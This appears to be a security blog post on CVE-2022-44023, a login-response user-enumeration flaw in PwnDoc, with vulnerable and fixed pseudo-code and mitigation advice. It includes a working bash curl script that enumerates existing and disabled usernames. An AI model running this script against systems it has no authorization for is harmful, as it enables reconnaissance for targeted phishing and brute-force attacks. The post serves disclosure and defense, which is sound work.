PwnDoc is an open-source, customizable penetration test reporting platform written in Node.js with a Vue.js frontend. If you use PwnDoc on your infrastructure, you need to pay attention to an important security issue tracked as CVE-2022-44023. This vulnerability, affecting PwnDoc through version .5.3, lets attackers find out which usernames exist in your system, even if those accounts are currently disabled. In this post, you’ll get an in-depth look at how the problem works, how it can be exploited, and what you can do to protect your instance.

What Is CVE-2022-44023?

The CVE-2022-44023 vulnerability falls under a broader category of problems known as information disclosure or user enumeration. When you try to log in with a wrong username or password, the app’s responses are not identical for every case:

Try with an unknown username: the server says, for example, “Invalid credentials.”

- Try with a known but *disabled* username: the server responds with, for example, “User disabled.”

An attacker (or anyone with network access to PwnDoc) can systematically throw guessed usernames at the login page, catalog the responses, and quickly build a list of existing, even *disabled*, accounts. This could be the beginning of targeted attacks (phishing, social engineering, or brute force, for example).

Why Is User Enumeration Bad?

User enumeration sounds minor, but it’s the foundation for more serious attacks. Here’s how attackers can use it:

Get a foot in the door—knowing usernames is always step 1

If attackers know which usernames are real, especially disabled ones, they can also potentially try to re-activate or request reactivation—or use social engineering against those accounts.

Technical Analysis — How Does the Leak Work?

Let’s walk through a typical PwnDoc authentication flow.

1. The user POSTs their username and password to the login endpoint: /api/auth/login

Here's a pseudo-code version of PwnDoc's login handler

// This is not the real PwnDoc code — it's a simplified version!

app.post('/api/auth/login', async function(req, res) {
    const { email, password } = req.body;
    let user = await User.findOne({ email });
    if (!user) {
        // 1. Username does not exist
        return res.status(401).json({ message: 'Invalid credentials' });
    }
    if (!user.active) {
        // 2. Username exists but disabled
        return res.status(403).json({ message: 'User disabled' });
    }
    const passwordOk = await verifyPassword(password, user.passwordHash);
    if (!passwordOk) {
        // 3. Username exists, password wrong (but account enabled)
        return res.status(401).json({ message: 'Invalid credentials' });
    }
    // Successful login
    res.json({ token: makeJwt(user) });
});

Notice: If user.active is false, the server sends back a *distinct* message: 'User disabled' and HTTP 403, instead of just 'Invalid credentials' and HTTP 401.

Proof-of-Concept (PoC) – Exploiting The Vulnerability

You can exploit this leak using tools like curl, or automate with a short script. Let’s see how it works.

Here’s a bash script PoC to enumerate usernames

#!/bin/bash

URL="http://pwndoc.example.com/api/auth/login";
USERLIST="usernames.txt"

for user in $(cat $USERLIST); do
  resp=$(curl -s -X POST -H "Content-Type: application/json" -d "{\"email\":\"$user\",\"password\":\"randomwrongpassword\"}" $URL)
  if echo "$resp" | grep -q "User disabled"; then
    echo "[+] $user => Disabled account exists!"
  elif echo "$resp" | grep -q "Invalid credentials"; then
    echo "[-] $user => Username probably does not exist or wrong password"
  else
    echo "[?] $user => Unexpected response: $resp"
  fi
done

Knowing which usernames are real, and specifically which are disabled, can be valuable for an attacker.

References & Original Sources

- CVE-2022-44023 at Mitre
- PwnDoc GitHub repository
- Disclosure on Huntr

Always send the same error message and status code for all login failures—never reveal why!

2. Introduce a generic error message, such as: Error: Invalid credentials. for any authentication issue.

Consider rate limiting login attempts to slow down automated enumeration.

If you work with PwnDoc, check for updates or patches at https://github.com/pwndoc/pwndoc — and make sure you’re running at least v.5.4 or newer, if/when they close the hole.

Here’s what a fixed handler might look like (pseudo-code)

app.post('/api/auth/login', async function(req, res) {
    const { email, password } = req.body;
    let user = await User.findOne({ email });
    let passwordOk = user && await verifyPassword(password, user.passwordHash);
    // Always reply the same for failed attempts
    if (!user || !user.active || !passwordOk) {
        return res.status(401).json({ message: 'Invalid credentials' });
    }
    res.json({ token: makeJwt(user) });
});

Final Thoughts

CVE-2022-44023 is a classic yet easily-overlooked vulnerability. While discovering whether a username is valid seems small, it often opens the door to much bigger issues.

Users/Admins: Update your PwnDoc deployments.  
Developers: Always unify your authentication error messages.  
Attackers: Sorry, you won’t get far once this is patched!  

If you want to see this vulnerability hands-on, try the PoC above in your lab—but never against systems you don’t own.

Timeline

Published on: 10/30/2022 00:15:00 UTC
Last modified on: 12/12/2022 20:59:00 UTC